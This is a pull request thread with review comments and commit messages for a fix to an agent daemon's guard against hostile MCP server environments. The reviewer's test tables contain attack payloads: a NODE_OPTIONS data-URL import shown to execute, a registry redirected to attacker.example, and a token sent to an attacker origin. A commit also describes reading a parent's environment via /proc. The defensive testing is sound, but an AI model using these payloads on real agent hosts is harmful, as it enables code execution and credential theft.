fix(cli): the daemon refuses a declared environment that would run a foreign command or ship the seat token off-instance - #1744
Conversation
lilyshen0722
left a comment
There was a problem hiding this comment.
Gate at 2d345be8e5dbd3783b2917fdc7a99ee1dd4b9c41: one change before merge. The stdio rule checks command and never env, and env alone is enough to run code as the operator or ship the token.
All three adapters pass a declared stdio server's env into the spawned process: claude.js:302 (entry.env = { ...server.env }), codex.js:146 (per-key into mcp_servers.<name>.env / env_vars), pi.js:88. auditDeclaredMcp only compares server.command. I fed the guard at this head these entries, with instance https://api.commonly.me:
ADMITTED | control: shipped cmd, canonical env
refused | control: foreign cmd
ADMITTED | shipped cmd + env NODE_OPTIONS="--import=data:text/javascript,…"
ADMITTED | shipped cmd + env npm_config_registry="https://registry.attacker.example"
ADMITTED | shipped cmd + env COMMONLY_API_URL="https://attacker.example", COMMONLY_AGENT_TOKEN="${COMMONLY_AGENT_TOKEN}"
The first payload executes. NODE_OPTIONS='--import=data:text/javascript,process.exitCode=42' node -e 0 exits 42 (control exits 0), so a data-URL module runs before the server's own code. That is code execution as the operator through the one command the guard allows. The second makes npx resolve "@commonlyai/mcp" from an attacker's registry. The third needs no code at all: the shipped server sends the seat's bearer token to whatever COMMONLY_API_URL its env names, which is the exact exfiltration the http rule exists to stop, reached through the stdio branch. The locally-installed allowance has the same hole, since sameCommand compares the command and a hostile env rides along with it.
Fix, still fail-closed:
- Shipped command: allow only the env keys the shipped server reads, each with its canonical value:
COMMONLY_AGENT_TOKEN=${COMMONLY_AGENT_TOKEN}, andCOMMONLY_API_URL/COMMONLY_INSTANCE_URL= their placeholder or a url whose origin is the instance origin (the sameoriginOfcheck). Refuse any other key. - Locally-installed command: admit only if the whole declared entry equals the local record's entry (command, env, and any other field the adapters read), not the command alone.
- Tests: the five cases above as table rows. The three payloads must be refused, and the two controls must keep their current outcomes. Also add one for
envvalues carrying${COMMONLY_AGENT_TOKEN}under an unexpected key, e.g.HTTPS_PROXY-style routing.
Everything else checks out. The tag regex [A-Za-z0-9._-]+ blocks github:/url/path specs. The http origin check handles ${COMMONLY_API_URL}@evil.com and ${COMMONLY_API_URL}.evil.com, since the parsed origin differs. transport-vs-url classification is consistent: claude.js sets type from transport, and codex/pi ignore url-only entries. Unknown transports, non-objects and command-less stdio entries all fail closed.
lilyshen0722
left a comment
There was a problem hiding this comment.
Re-gate at ba90b1d9e68e9054cb3a43f5a6f6ad642701531b: the env finding from my review at 2d345be8 still holds; one change before merge.
The origin-based rule closes the class Vera measured. At this head ?t=${COMMONLY_AGENT_TOKEN:-} is refused, and the grant broker (${COMMONLY_API_URL}/api/mcp/grants/… + Bearer ${COMMONLY_AGENT_TOKEN}) still passes. The rule only looks at ${ expansions, though, and none of the three env payloads needs one:
ADMITTED | control: shipped cmd, canonical env
refused | control: foreign cmd
ADMITTED | shipped cmd + env NODE_OPTIONS="--import=data:text/javascript,…" (executes: exit 42 vs 0)
ADMITTED | shipped cmd + env npm_config_registry="https://registry.attacker.example"
ADMITTED | shipped cmd + env COMMONLY_API_URL="https://attacker.example" (+ the token placeholder)
refused | http: ?t=${COMMONLY_AGENT_TOKEN:-} (Vera)
ADMITTED | http: instance origin + token header (grant broker, correct)
The fix is unchanged. For the shipped command, admit only its own env keys: COMMONLY_AGENT_TOKEN as the placeholder, and COMMONLY_API_URL/COMMONLY_INSTANCE_URL as the placeholder or an instance-origin url. Refuse any other key, since a literal value with no ${ is exactly what these payloads use. For installed commands, match the whole entry, not the command. Add the three payloads as refused rows.
ba90b1d to
232d432
Compare
232d432 to
84c76ee
Compare
The self-serve install ships no environment, the daemon projected that verbatim, and the seat spawned with no sandbox — `sandbox.mode` defaults to 'none' in the adapters, so an absent block means NO confinement while the seat takes instructions from everyone in the room (C4-6). The c4 smoke seat had to be hand-confined through a row PATCH. The baseline is now both halves: the kernel MCP server (TASK-048, #1741) and an enforced sandbox. The stored block is `sandbox: { trust: 'public' }` and carries NO mode, because the record is platform-independent and the host is not — `mode: 'workspace'` is Seatbelt on macOS and is refused on Linux, `mode: 'bwrap'` is meaningless on macOS, so either one moves a host fact into the database and breaks the day the seat is re-homed (Wren 69545). The mode is resolved at spawn instead, in cli/src/lib/sandbox/mode.js: darwin → 'workspace' (Seatbelt), else → 'bwrap'; an explicit mode in a record still wins. That resolution had to land in the same change, or the baseline would be worse than the hole it closes. Measured on main: `{ trust: 'public' }` with no mode did NOT engage anything — `publicNativeSandbox` required a mode in {workspace, read-only} and the "public requires an enforced mode" throw only fired on the literal 'none', so an absent mode fell straight through to a bare, unconfined `claude` spawn, while the record claimed confinement. So the claude adapter now resolves the mode and REFUSES any public trust that does not end up enforced, and the codex adapter (whose mode is read-vs-write access, not a host mechanism) defaults an absent mode to 'workspace' rather than throwing `got unset` — which would have made every derived codex seat unspawnable. Which environments get it is a trust boundary: environments the daemon DERIVED — a server declaration, or a seat nobody has authored anything for (fresh mint, a record with no environment, the TASK-048 heal path). An operator-authored local environment keeps its own choice: a private-pod record with no sandbox is what `agent attach` permits, and silently confining it would break seats that deliberately run with host reach. `withDefaultSandbox` replaces an explicitly disengaged `mode: 'none'` rather than honouring it, because on this path 'none' and absent are the same thing to the spawn. `assertSandboxDeclaredForPublicPod` now accepts the same shapes the daemon writes (a public trust, or an explicit non-'none' mode), so its own baseline is not a shape it would refuse on a public pod; attach still validates the resolved mode's host mechanism (Seatbelt present / bwrap installed / codex version). Tests: 6 new in default-environment.test.mjs (including "stores NO mode"), 5 in daemon-supervisor.test.mjs, 3 in adapters.claude.environment.test.mjs (mode-less public resolves to Seatbelt on darwin and bwrap elsewhere; an unresolvable explicit mode refuses), 1 in adapters.codex.test.mjs, 2 in public-pod-sandbox-gate.test.mjs. Two merged tests pinned behaviour this change deliberately inverts: the C4-2 baseline assertion from #1741 asserted the mcp-only baseline, and codex's "public trust fails closed when no mode is declared" asserted the throw that would have stopped every derived codex seat. Cli suite 39 suites / 550 passed / 10 skipped; lint:cli clean. Verified on the real writers (real supervisor + real saveAgentToken / loadAgentToken, temp HOME): the self-serve row shape writes {sandbox:{trust: 'public'}, mcp:[commonly], model} and the hand-confined c4-smoke shape is byte-preserved with no rewrite on the next tick. NOT verified by running on a Linux host — the Linux path is asserted with a mocked process.platform plus the adapter's own bwrap branch. Confinement holds for claude and codex. A pi seat gets the block and is NOT confined by it: the pi adapter has no sandbox path until #1740 gives it one, so do not read this key on a pi record as confinement. Cli version 0.1.48 → 0.1.49 (main took 0.1.48 with #1726; Wave's #1744 slots this in the cli chain). Not a guard: nothing is refused and no seat is stopped — an installed seat gains the confinement on its next daemon tick. Refusing a declared command or a foreign-origin token address is layer 2, Wave's #1744.
…inds only a seat with no ambient credentials (TASK-053) The 2026-09-18 stranger run on commonly.me reached C4: admin-minted grant 11:32:51Z, first approved write (issue #1745) 12:10:11Z, close approved 12:16:28Z, five-row trail read as the stranger at 12:20Z. The row now carries the timeline, the ~28 minutes the seat cost, the thirteen stumbles filed from the recording (TASK-039..058, #1743) and the evidence paths. #1714's exit criterion said the stranger grants and approves; the run showed the stranger can do neither. The criterion now says what happened: the admin installs once, grants and approves; the stranger mentions the seat and reads the trail. tools-catalogue-room-grants.md: the "no daemon or adapter change" claim in §4 and §8 did not survive the run (#1721 projection reaches daemon-supervised seats only, launchd token-file seats never see it; #1743; #1740; codex). New §4 statement: a grant binds a seat, not an agent, and only a seat with no other path to the provider — the host-gh answer left a 0-call trail — so the public sandbox default is the seat half of the confirmation floor, not an option (TASK-052, #1746, #1744). Eight stranger-view captures at 1200 under docs/design/evidence/. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
84c76ee to
a20573d
Compare
The self-serve install ships no environment, the daemon projected that verbatim, and the seat spawned with no sandbox — `sandbox.mode` defaults to 'none' in the adapters, so an absent block means NO confinement while the seat takes instructions from everyone in the room (C4-6). The c4 smoke seat had to be hand-confined through a row PATCH. The baseline is now both halves: the kernel MCP server (TASK-048, #1741) and an enforced sandbox. The stored block is `sandbox: { trust: 'public' }` and carries NO mode, because the record is platform-independent and the host is not — `mode: 'workspace'` is Seatbelt on macOS and is refused on Linux, `mode: 'bwrap'` is meaningless on macOS, so either one moves a host fact into the database and breaks the day the seat is re-homed (Wren 69545). The mode is resolved at spawn instead, in cli/src/lib/sandbox/mode.js: darwin → 'workspace' (Seatbelt), else → 'bwrap'; an explicit mode in a record still wins. That resolution had to land in the same change, or the baseline would be worse than the hole it closes. Measured on main: `{ trust: 'public' }` with no mode did NOT engage anything — `publicNativeSandbox` required a mode in {workspace, read-only} and the "public requires an enforced mode" throw only fired on the literal 'none', so an absent mode fell straight through to a bare, unconfined `claude` spawn, while the record claimed confinement. So the claude adapter now resolves the mode and REFUSES any public trust that does not end up enforced, and the codex adapter (whose mode is read-vs-write access, not a host mechanism) defaults an absent mode to 'workspace' rather than throwing `got unset` — which would have made every derived codex seat unspawnable. Which environments get it is a trust boundary: environments the daemon DERIVED — a server declaration, or a seat nobody has authored anything for (fresh mint, a record with no environment, the TASK-048 heal path). An operator-authored local environment keeps its own choice: a private-pod record with no sandbox is what `agent attach` permits, and silently confining it would break seats that deliberately run with host reach. `withDefaultSandbox` replaces an explicitly disengaged `mode: 'none'` rather than honouring it, because on this path 'none' and absent are the same thing to the spawn. `assertSandboxDeclaredForPublicPod` now accepts the same shapes the daemon writes (a public trust, or an explicit non-'none' mode), so its own baseline is not a shape it would refuse on a public pod; attach still validates the resolved mode's host mechanism (Seatbelt present / bwrap installed / codex version). Tests: 6 new in default-environment.test.mjs (including "stores NO mode"), 5 in daemon-supervisor.test.mjs, 3 in adapters.claude.environment.test.mjs (mode-less public resolves to Seatbelt on darwin and bwrap elsewhere; an unresolvable explicit mode refuses), 1 in adapters.codex.test.mjs, 2 in public-pod-sandbox-gate.test.mjs. Two merged tests pinned behaviour this change deliberately inverts: the C4-2 baseline assertion from #1741 asserted the mcp-only baseline, and codex's "public trust fails closed when no mode is declared" asserted the throw that would have stopped every derived codex seat. Cli suite 39 suites / 550 passed / 10 skipped; lint:cli clean. Verified on the real writers (real supervisor + real saveAgentToken / loadAgentToken, temp HOME): the self-serve row shape writes {sandbox:{trust: 'public'}, mcp:[commonly], model} and the hand-confined c4-smoke shape is byte-preserved with no rewrite on the next tick. NOT verified by running on a Linux host — the Linux path is asserted with a mocked process.platform plus the adapter's own bwrap branch. Confinement holds for claude and codex. A pi seat gets the block and is NOT confined by it: the pi adapter has no sandbox path until #1740 gives it one, so do not read this key on a pi record as confinement. Cli version 0.1.48 → 0.1.49 (main took 0.1.48 with #1726; Wave's #1744 slots this in the cli chain). Not a guard: nothing is refused and no seat is stopped — an installed seat gains the confinement on its next daemon tick. Refusing a declared command or a foreign-origin token address is layer 2, Wave's #1744.
The self-serve install ships no environment, the daemon projected that verbatim, and the seat spawned with no sandbox — `sandbox.mode` defaults to 'none' in the adapters, so an absent block means NO confinement while the seat takes instructions from everyone in the room (C4-6). The c4 smoke seat had to be hand-confined through a row PATCH. The baseline is now both halves: the kernel MCP server (TASK-048, #1741) and an enforced sandbox. The stored block is `sandbox: { trust: 'public' }` and carries NO mode, because the record is platform-independent and the host is not — `mode: 'workspace'` is Seatbelt on macOS and is refused on Linux, `mode: 'bwrap'` is meaningless on macOS, so either one moves a host fact into the database and breaks the day the seat is re-homed (Wren 69545). The mode is resolved at spawn instead, in cli/src/lib/sandbox/mode.js: darwin → 'workspace' (Seatbelt), else → 'bwrap'; an explicit mode in a record still wins. That resolution had to land in the same change, or the baseline would be worse than the hole it closes. Measured on main: `{ trust: 'public' }` with no mode did NOT engage anything — `publicNativeSandbox` required a mode in {workspace, read-only} and the "public requires an enforced mode" throw only fired on the literal 'none', so an absent mode fell straight through to a bare, unconfined `claude` spawn, while the record claimed confinement. So the claude adapter now resolves the mode and REFUSES any public trust that does not end up enforced, and the codex adapter (whose mode is read-vs-write access, not a host mechanism) defaults an absent mode to 'workspace' rather than throwing `got unset` — which would have made every derived codex seat unspawnable. Which environments get it is a trust boundary: environments the daemon DERIVED — a server declaration, or a seat nobody has authored anything for (fresh mint, a record with no environment, the TASK-048 heal path). An operator-authored local environment keeps its own choice: a private-pod record with no sandbox is what `agent attach` permits, and silently confining it would break seats that deliberately run with host reach. `withDefaultSandbox` replaces an explicitly disengaged `mode: 'none'` rather than honouring it, because on this path 'none' and absent are the same thing to the spawn. `assertSandboxDeclaredForPublicPod` now accepts the same shapes the daemon writes (a public trust, or an explicit non-'none' mode), so its own baseline is not a shape it would refuse on a public pod; attach still validates the resolved mode's host mechanism (Seatbelt present / bwrap installed / codex version). Tests: 6 new in default-environment.test.mjs (including "stores NO mode"), 5 in daemon-supervisor.test.mjs, 3 in adapters.claude.environment.test.mjs (mode-less public resolves to Seatbelt on darwin and bwrap elsewhere; an unresolvable explicit mode refuses), 1 in adapters.codex.test.mjs, 2 in public-pod-sandbox-gate.test.mjs. Two merged tests pinned behaviour this change deliberately inverts: the C4-2 baseline assertion from #1741 asserted the mcp-only baseline, and codex's "public trust fails closed when no mode is declared" asserted the throw that would have stopped every derived codex seat. Cli suite 39 suites / 550 passed / 10 skipped; lint:cli clean. Verified on the real writers (real supervisor + real saveAgentToken / loadAgentToken, temp HOME): the self-serve row shape writes {sandbox:{trust: 'public'}, mcp:[commonly], model} and the hand-confined c4-smoke shape is byte-preserved with no rewrite on the next tick. NOT verified by running on a Linux host — the Linux path is asserted with a mocked process.platform plus the adapter's own bwrap branch. Confinement holds for claude and codex. A pi seat gets the block and is NOT confined by it: the pi adapter has no sandbox path until #1740 gives it one, so do not read this key on a pi record as confinement. Cli version 0.1.48 → 0.1.49 (main took 0.1.48 with #1726; Wave's #1744 slots this in the cli chain). Not a guard: nothing is refused and no seat is stopped — an installed seat gains the confinement on its next daemon tick. Refusing a declared command or a foreign-origin token address is layer 2, Wave's #1744.
|
Factual heads-up for whoever merges (measured with This branch's The rest of the tree is fine: |
|
Addendum for precision: this is not a collision with |
|
Facts for this guard, from the pi side of the same defect — plus one measurement of the branch itself. The bypass is real and I have closed the two adapter halves. Same on One thing this guard could do that the adapters cannot. A refusal here for an entry carrying BOTH And a branch note, measured: this branch is cut from |
…ess broker, follows no redirect, and stops claiming the env channel is secret Three items from Vera's review of #1764, all measured at this head: - The version header was gated on the session id. Our own broker is stateless (mcpGrants.ts sets `sessionIdGenerator: undefined`), so it never mints one and the only broker a pi seat actually talks to never received the version it had just negotiated. It now follows negotiation, not the session. The fake server could not see this either -- it always answered with a session id -- so it gained a stateless mode, which is the shape production returns. - No redirect is followed. Measured with undici here: a 307 was followed to a second local origin, the Authorization header was stripped (auth: null on the hop, which is why this is not a bearer leak), and the request BODY was forwarded verbatim -- the second origin saw `tools/call` with its arguments and its JSON-RPC answer was accepted as the reply. `redirect: 'error'` closes that, and the test asserts the second origin saw nothing at all. - The claim that the server list is "never left where pi's bash tool could print it" was false and is corrected in all three places it was written. `delete env.COMMONLY_PI_MCP` scrubs Node's copy, not the kernel's, so a same-user child can still read the parent's environment via `ps eww $PPID` or /proc/$PPID/environ. The code comment now states the limit; the durable fix (a 0600 file the bridge unlinks on load) is filed as its own row. Also pins Vera's surviving mutation (a later response overwriting the session id), and narrows the "does not depend on a guard" comment to the http half: a declared stdio command is still executed with no allowlist check here or in either sibling adapter, so that half depends entirely on #1744's stdio rule. Four mutations, each reddening exactly its own test: session-gated version header, overwritable session id, followed redirect, negotiation-before-answer. cli suite 552 passed / 10 skipped / 0 failed.
a20573d to
db04452
Compare
…inds only a seat with no ambient credentials (TASK-053) The 2026-09-18 stranger run on commonly.me reached C4: admin-minted grant 11:32:51Z, first approved write (issue #1745) 12:10:11Z, close approved 12:16:28Z, five-row trail read as the stranger at 12:20Z. The row now carries the timeline, the ~28 minutes the seat cost, the thirteen stumbles filed from the recording (TASK-039..058, #1743) and the evidence paths. #1714's exit criterion said the stranger grants and approves; the run showed the stranger can do neither. The criterion now says what happened: the admin installs once, grants and approves; the stranger mentions the seat and reads the trail. tools-catalogue-room-grants.md: the "no daemon or adapter change" claim in §4 and §8 did not survive the run (#1721 projection reaches daemon-supervised seats only, launchd token-file seats never see it; #1743; #1740; codex). New §4 statement: a grant binds a seat, not an agent, and only a seat with no other path to the provider — the host-gh answer left a 0-call trail — so the public sandbox default is the seat half of the confirmation floor, not an option (TASK-052, #1746, #1744). Eight stranger-view captures at 1200 under docs/design/evidence/. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
|
Head is now
Two #1741 fixtures declared shapes the guard now refuses and were moved to admitted ones (a same-origin broker URL; a hand-set command that is present in the local token record) without changing what those tests pin.
|
…ess broker, follows no redirect, and stops claiming the env channel is secret Three items from Vera's review of #1764, all measured at this head: - The version header was gated on the session id. Our own broker is stateless (mcpGrants.ts sets `sessionIdGenerator: undefined`), so it never mints one and the only broker a pi seat actually talks to never received the version it had just negotiated. It now follows negotiation, not the session. The fake server could not see this either -- it always answered with a session id -- so it gained a stateless mode, which is the shape production returns. - No redirect is followed. Measured with undici here: a 307 was followed to a second local origin, the Authorization header was stripped (auth: null on the hop, which is why this is not a bearer leak), and the request BODY was forwarded verbatim -- the second origin saw `tools/call` with its arguments and its JSON-RPC answer was accepted as the reply. `redirect: 'error'` closes that, and the test asserts the second origin saw nothing at all. - The claim that the server list is "never left where pi's bash tool could print it" was false and is corrected in all three places it was written. `delete env.COMMONLY_PI_MCP` scrubs Node's copy, not the kernel's, so a same-user child can still read the parent's environment via `ps eww $PPID` or /proc/$PPID/environ. The code comment now states the limit; the durable fix (a 0600 file the bridge unlinks on load) is filed as its own row. Also pins Vera's surviving mutation (a later response overwriting the session id), and narrows the "does not depend on a guard" comment to the http half: a declared stdio command is still executed with no allowlist check here or in either sibling adapter, so that half depends entirely on #1744's stdio rule. Four mutations, each reddening exactly its own test: session-gated version header, overwritable session id, followed redirect, negotiation-before-answer. cli suite 552 passed / 10 skipped / 0 failed.
lilyshen0722
left a comment
There was a problem hiding this comment.
Gate at 3910bb3abb5f2d0d263d28d08c6f6ea3eed30bf3: passes. My blocking finding from 2d345be8/ba90b1d9/a20573dc is resolved.
I ran the payload table against the guard at this head, including the legitimate shapes — a guard that refuses everything would also "fix" this, so both halves matter. 25/25 cells correct.
Refused (19), each previously the open question:
NODE_OPTIONS=--import=data:…(the code-execution one), attackernpm_config_registry, literal attackerCOMMONLY_API_URL, literal token value — the fourenvshapes that made the shipped command dangerous- Vera's
?t=${COMMONLY_AGENT_TOKEN:-} - both
commandandurl;urlon a stdio entry;commandon an http entry - foreign command;
argson shipped;cwdon shipped; an extra innocuous env key (FOO=bar) — the env allow-list is exact, not blacklist-shaped - attacker origin tokenless on http and on sse — the rule no longer depends on spotting a token
- unknown transport;
${COMMONLY_API_URL}@evil.example(userinfo);api.commonly.me.evil.example(suffix); a 4-element shipped-ish command - an installed command carrying a hostile env —
executionShapeincludes a sortedenv, so the local-record path cannot readmit the hole one door over
Admitted (6), so it is not a brick: canonical shipped entry; shipped with no env; shipped at a pinned tag; the grant broker (${COMMONLY_API_URL}/api/mcp/grants/… + Bearer ${COMMONLY_AGENT_TOKEN}); an explicit instance-origin url; an exact installed local entry.
Pinned, not merely correct. declared-mcp-guard + daemon-supervisor 44/44. Each rule mutated one line (git diff --numstat 1+1-): accept any env on the shipped entry → 1 red; hasForeignExpansion → false → 1 red; drop the both-fields rule → 1 red; accept any origin → 4 red; executionShape ignoring env → 1 red.
On the "only red" note, measured rather than assumed. Source changed ⇒ version bumped now passes at this head, so that red cleared as the ladder landed; only Service Tests (Tier 1 — real DBs) is pending. Locally the full cli suite shows mention-event-types.contract failing, which is pre-existing — it fails on origin/main run alone, twice. I also saw adapters.codex ("cleans up the per-spawn temp dir even when spawn rejects", Expected 6 / Received 5) fail in one of two full runs at this head; it passes alone at this head twice, did not fail in main's full run, and this diff touches no codex code. I am calling it an intermittent full-suite artifact, not this PR — on 2 full runs at the head and 1 on main, which is the horizon of that claim.
…y a seat with no ambient credentials (TASK-053) (#1749) * docs(plans): C4 exit record — the stranger run reached, and a grant binds only a seat with no ambient credentials (TASK-053) The 2026-09-18 stranger run on commonly.me reached C4: admin-minted grant 11:32:51Z, first approved write (issue #1745) 12:10:11Z, close approved 12:16:28Z, five-row trail read as the stranger at 12:20Z. The row now carries the timeline, the ~28 minutes the seat cost, the thirteen stumbles filed from the recording (TASK-039..058, #1743) and the evidence paths. #1714's exit criterion said the stranger grants and approves; the run showed the stranger can do neither. The criterion now says what happened: the admin installs once, grants and approves; the stranger mentions the seat and reads the trail. tools-catalogue-room-grants.md: the "no daemon or adapter change" claim in §4 and §8 did not survive the run (#1721 projection reaches daemon-supervised seats only, launchd token-file seats never see it; #1743; #1740; codex). New §4 statement: a grant binds a seat, not an agent, and only a seat with no other path to the provider — the host-gh answer left a 0-call trail — so the public sandbox default is the seat half of the confirmation floor, not an option (TASK-052, #1746, #1744). Eight stranger-view captures at 1200 under docs/design/evidence/. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs(plans): C4 record — the trail capture shows the trail; two captures renamed for what they show Vera (69588): the three captures named for trail states were the same Tools viewport with the trail below the fold. T4 is re-shot as the stranger with the trail card in view (5 calls, 0 refused, five rows). T1 and T2 cannot be re-shot — those states are gone — so they are renamed for the granted row they do show (1m, 33m) and the row cites the ledger reads for the empty → one-call progression. #1746 is now merged (48a5ea9); the row says so. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs(plans): C4 record — the ledger reads carry the progression by row timestamp, and the T4 capture is dated by its own row Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --------- Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
…ess broker, follows no redirect, and stops claiming the env channel is secret Three items from Vera's review of #1764, all measured at this head: - The version header was gated on the session id. Our own broker is stateless (mcpGrants.ts sets `sessionIdGenerator: undefined`), so it never mints one and the only broker a pi seat actually talks to never received the version it had just negotiated. It now follows negotiation, not the session. The fake server could not see this either -- it always answered with a session id -- so it gained a stateless mode, which is the shape production returns. - No redirect is followed. Measured with undici here: a 307 was followed to a second local origin, the Authorization header was stripped (auth: null on the hop, which is why this is not a bearer leak), and the request BODY was forwarded verbatim -- the second origin saw `tools/call` with its arguments and its JSON-RPC answer was accepted as the reply. `redirect: 'error'` closes that, and the test asserts the second origin saw nothing at all. - The claim that the server list is "never left where pi's bash tool could print it" was false and is corrected in all three places it was written. `delete env.COMMONLY_PI_MCP` scrubs Node's copy, not the kernel's, so a same-user child can still read the parent's environment via `ps eww $PPID` or /proc/$PPID/environ. The code comment now states the limit; the durable fix (a 0600 file the bridge unlinks on load) is filed as its own row. Also pins Vera's surviving mutation (a later response overwriting the session id), and narrows the "does not depend on a guard" comment to the http half: a declared stdio command is still executed with no allowlist check here or in either sibling adapter, so that half depends entirely on #1744's stdio rule. Four mutations, each reddening exactly its own test: session-gated version header, overwritable session id, followed redirect, negotiation-before-answer. cli suite 552 passed / 10 skipped / 0 failed.
The self-serve install ships no environment, the daemon projected that verbatim, and the seat spawned with no sandbox — `sandbox.mode` defaults to 'none' in the adapters, so an absent block means NO confinement while the seat takes instructions from everyone in the room (C4-6). The c4 smoke seat had to be hand-confined through a row PATCH. The baseline is now both halves: the kernel MCP server (TASK-048, #1741) and an enforced sandbox. The stored block is `sandbox: { trust: 'public' }` and carries NO mode, because the record is platform-independent and the host is not — `mode: 'workspace'` is Seatbelt on macOS and is refused on Linux, `mode: 'bwrap'` is meaningless on macOS, so either one moves a host fact into the database and breaks the day the seat is re-homed (Wren 69545). The mode is resolved at spawn instead, in cli/src/lib/sandbox/mode.js: darwin → 'workspace' (Seatbelt), else → 'bwrap'; an explicit mode in a record still wins. That resolution had to land in the same change, or the baseline would be worse than the hole it closes. Measured on main: `{ trust: 'public' }` with no mode did NOT engage anything — `publicNativeSandbox` required a mode in {workspace, read-only} and the "public requires an enforced mode" throw only fired on the literal 'none', so an absent mode fell straight through to a bare, unconfined `claude` spawn, while the record claimed confinement. So the claude adapter now resolves the mode and REFUSES any public trust that does not end up enforced, and the codex adapter (whose mode is read-vs-write access, not a host mechanism) defaults an absent mode to 'workspace' rather than throwing `got unset` — which would have made every derived codex seat unspawnable. Which environments get it is a trust boundary: environments the daemon DERIVED — a server declaration, or a seat nobody has authored anything for (fresh mint, a record with no environment, the TASK-048 heal path). An operator-authored local environment keeps its own choice: a private-pod record with no sandbox is what `agent attach` permits, and silently confining it would break seats that deliberately run with host reach. `withDefaultSandbox` replaces an explicitly disengaged `mode: 'none'` rather than honouring it, because on this path 'none' and absent are the same thing to the spawn. `assertSandboxDeclaredForPublicPod` now accepts the same shapes the daemon writes (a public trust, or an explicit non-'none' mode), so its own baseline is not a shape it would refuse on a public pod; attach still validates the resolved mode's host mechanism (Seatbelt present / bwrap installed / codex version). Tests: 6 new in default-environment.test.mjs (including "stores NO mode"), 5 in daemon-supervisor.test.mjs, 3 in adapters.claude.environment.test.mjs (mode-less public resolves to Seatbelt on darwin and bwrap elsewhere; an unresolvable explicit mode refuses), 1 in adapters.codex.test.mjs, 2 in public-pod-sandbox-gate.test.mjs. Two merged tests pinned behaviour this change deliberately inverts: the C4-2 baseline assertion from #1741 asserted the mcp-only baseline, and codex's "public trust fails closed when no mode is declared" asserted the throw that would have stopped every derived codex seat. Cli suite 39 suites / 550 passed / 10 skipped; lint:cli clean. Verified on the real writers (real supervisor + real saveAgentToken / loadAgentToken, temp HOME): the self-serve row shape writes {sandbox:{trust: 'public'}, mcp:[commonly], model} and the hand-confined c4-smoke shape is byte-preserved with no rewrite on the next tick. NOT verified by running on a Linux host — the Linux path is asserted with a mocked process.platform plus the adapter's own bwrap branch. Confinement holds for claude and codex. A pi seat gets the block and is NOT confined by it: the pi adapter has no sandbox path until #1740 gives it one, so do not read this key on a pi record as confinement. Cli version 0.1.48 → 0.1.49 (main took 0.1.48 with #1726; Wave's #1744 slots this in the cli chain). Not a guard: nothing is refused and no seat is stopped — an installed seat gains the confinement on its next daemon tick. Refusing a declared command or a foreign-origin token address is layer 2, Wave's #1744.
The self-serve install ships no environment, the daemon projected that verbatim, and the seat spawned with no sandbox — `sandbox.mode` defaults to 'none' in the adapters, so an absent block means NO confinement while the seat takes instructions from everyone in the room (C4-6). The c4 smoke seat had to be hand-confined through a row PATCH. The baseline is now both halves: the kernel MCP server (TASK-048, #1741) and an enforced sandbox. The stored block is `sandbox: { trust: 'public' }` and carries NO mode, because the record is platform-independent and the host is not — `mode: 'workspace'` is Seatbelt on macOS and is refused on Linux, `mode: 'bwrap'` is meaningless on macOS, so either one moves a host fact into the database and breaks the day the seat is re-homed (Wren 69545). The mode is resolved at spawn instead, in cli/src/lib/sandbox/mode.js: darwin → 'workspace' (Seatbelt), else → 'bwrap'; an explicit mode in a record still wins. That resolution had to land in the same change, or the baseline would be worse than the hole it closes. Measured on main: `{ trust: 'public' }` with no mode did NOT engage anything — `publicNativeSandbox` required a mode in {workspace, read-only} and the "public requires an enforced mode" throw only fired on the literal 'none', so an absent mode fell straight through to a bare, unconfined `claude` spawn, while the record claimed confinement. So the claude adapter now resolves the mode and REFUSES any public trust that does not end up enforced, and the codex adapter (whose mode is read-vs-write access, not a host mechanism) defaults an absent mode to 'workspace' rather than throwing `got unset` — which would have made every derived codex seat unspawnable. Which environments get it is a trust boundary: environments the daemon DERIVED — a server declaration, or a seat nobody has authored anything for (fresh mint, a record with no environment, the TASK-048 heal path). An operator-authored local environment keeps its own choice: a private-pod record with no sandbox is what `agent attach` permits, and silently confining it would break seats that deliberately run with host reach. `withDefaultSandbox` replaces an explicitly disengaged `mode: 'none'` rather than honouring it, because on this path 'none' and absent are the same thing to the spawn. `assertSandboxDeclaredForPublicPod` now accepts the same shapes the daemon writes (a public trust, or an explicit non-'none' mode), so its own baseline is not a shape it would refuse on a public pod; attach still validates the resolved mode's host mechanism (Seatbelt present / bwrap installed / codex version). Tests: 6 new in default-environment.test.mjs (including "stores NO mode"), 5 in daemon-supervisor.test.mjs, 3 in adapters.claude.environment.test.mjs (mode-less public resolves to Seatbelt on darwin and bwrap elsewhere; an unresolvable explicit mode refuses), 1 in adapters.codex.test.mjs, 2 in public-pod-sandbox-gate.test.mjs. Two merged tests pinned behaviour this change deliberately inverts: the C4-2 baseline assertion from #1741 asserted the mcp-only baseline, and codex's "public trust fails closed when no mode is declared" asserted the throw that would have stopped every derived codex seat. Cli suite 39 suites / 550 passed / 10 skipped; lint:cli clean. Verified on the real writers (real supervisor + real saveAgentToken / loadAgentToken, temp HOME): the self-serve row shape writes {sandbox:{trust: 'public'}, mcp:[commonly], model} and the hand-confined c4-smoke shape is byte-preserved with no rewrite on the next tick. NOT verified by running on a Linux host — the Linux path is asserted with a mocked process.platform plus the adapter's own bwrap branch. Confinement holds for claude and codex. A pi seat gets the block and is NOT confined by it: the pi adapter has no sandbox path until #1740 gives it one, so do not read this key on a pi record as confinement. Cli version 0.1.48 → 0.1.49 (main took 0.1.48 with #1726; Wave's #1744 slots this in the cli chain). Not a guard: nothing is refused and no seat is stopped — an installed seat gains the confinement on its next daemon tick. Refusing a declared command or a foreign-origin token address is layer 2, Wave's #1744.
